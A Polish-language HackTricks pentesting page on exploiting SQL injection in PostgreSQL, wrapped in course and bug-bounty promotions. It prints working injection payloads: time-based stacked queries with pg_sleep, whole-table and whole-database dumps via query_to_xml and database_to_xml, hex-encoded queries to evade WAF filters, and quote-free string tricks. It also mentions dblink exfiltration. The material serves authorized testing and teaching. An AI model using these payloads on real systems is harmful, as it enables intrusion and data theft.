hacktricks/pentesting-web/sql-injection/postgresql-injection/README.md
2024-02-11 01:46:25 +00:00

7.8 KiB

Wstrzykiwanie PostgreSQL

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:


Wskazówka dotycząca bug bounty: zarejestruj się na platformie Intigriti, premium platformie bug bounty stworzonej przez hakerów, dla hakerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody do 100 000 USD!

{% embed url="https://go.intigriti.com/hacktricks" %}


Ta strona ma na celu wyjaśnienie różnych sztuczek, które mogą pomóc w eksploatacji znalezionego SQL Injection w bazie danych PostgreSQL i uzupełnieniu sztuczek, które można znaleźć na https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Interakcja sieciowa - Eskalacja uprawnień, skaner portów, ujawnianie odpowiedzi na wyzwanie NTLM i eksfiltracja

Moduł PostgreSQL dblink oferuje możliwość łączenia się z innymi instancjami PostgreSQL i wykonywania połączeń TCP. Te funkcje, w połączeniu z funkcjonalnością COPY FROM, umożliwiają działania takie jak eskalacja uprawnień, skanowanie portów i przechwytywanie odpowiedzi na wyzwanie NTLM. Aby uzyskać szczegółowe metody wykonania tych ataków, sprawdź, jak wykonać te ataki.

Możesz przeczytać ten przykład, aby zobaczyć przykład CTF, jak załadować dane do dużych obiektów, a następnie eksfiltrować zawartość dużych obiektów do nazwy użytkownika funkcji dblink_connect.

Ataki na PostgreSQL: Odczyt/zapis, RCE, eskalacja uprawnień

Sprawdź, jak skompromitować hosta i eskalować uprawnienia z PostgreSQL w:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

Ominięcie WAF

Funkcje łańcuchowe PostgreSQL

Manipulowanie łańcuchami może pomóc w ominięciu WAFów lub innych ograniczeń.
Na tej stronie znajdziesz kilka przydatnych funkcji łańcuchowych.

Zapytania zagnieżdżone

Pamiętaj, że PostgreSQL obsługuje zapytania zagnieżdżone, ale wiele aplikacji zgłosi błąd, jeśli zostaną zwrócone 2 odpowiedzi, gdy oczekiwana jest tylko 1. Jednak wciąż można nadużywać zapytań zagnieżdżonych za pomocą wstrzykiwania czasu:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

Triki z XML

query_to_xml

Ta funkcja zwróci wszystkie dane w formacie XML w jednym pliku. Jest idealna, jeśli chcesz zrzucić dużo danych w jednym wierszu:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Ta funkcja zrzuci całą bazę danych w formacie XML w jednym wierszu (bądź ostrożny, jeśli baza danych jest bardzo duża, możesz ją spowodować DoS lub nawet swojego własnego klienta):

SELECT database_to_xml(true,true,'');

Ciągi znaków w formacie szesnastkowym

Jeśli możesz uruchamiać zapytania, przekazując je wewnątrz ciągu znaków (na przykład za pomocą funkcji query_to_xml), możesz użyć funkcji convert_from do przekazania ciągu znaków w formacie szesnastkowym i ominąć w ten sposób filtry:

{% code overflow="wrap" %}

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Zabronione cudzysłowy

Jeśli nie możesz używać cudzysłowów w swoim payloadzie, możesz to obejść za pomocą CHR dla podstawowych klauzul (łączenie znaków działa tylko dla podstawowych zapytań, takich jak SELECT, INSERT, DELETE, itp. Nie działa to dla wszystkich instrukcji SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Lub z użyciem $. Te zapytania zwracają te same wyniki:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;


Wskazówka dotycząca nagrody za błąd: Zarejestruj się na platformie Intigriti, premium platformie do nagradzania za błędy stworzonej przez hakerów dla hakerów! Dołącz do nas już dziś na https://go.intigriti.com/hacktricks i zacznij zarabiać nagrody do 100 000 USD!

{% embed url="https://go.intigriti.com/hacktricks" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: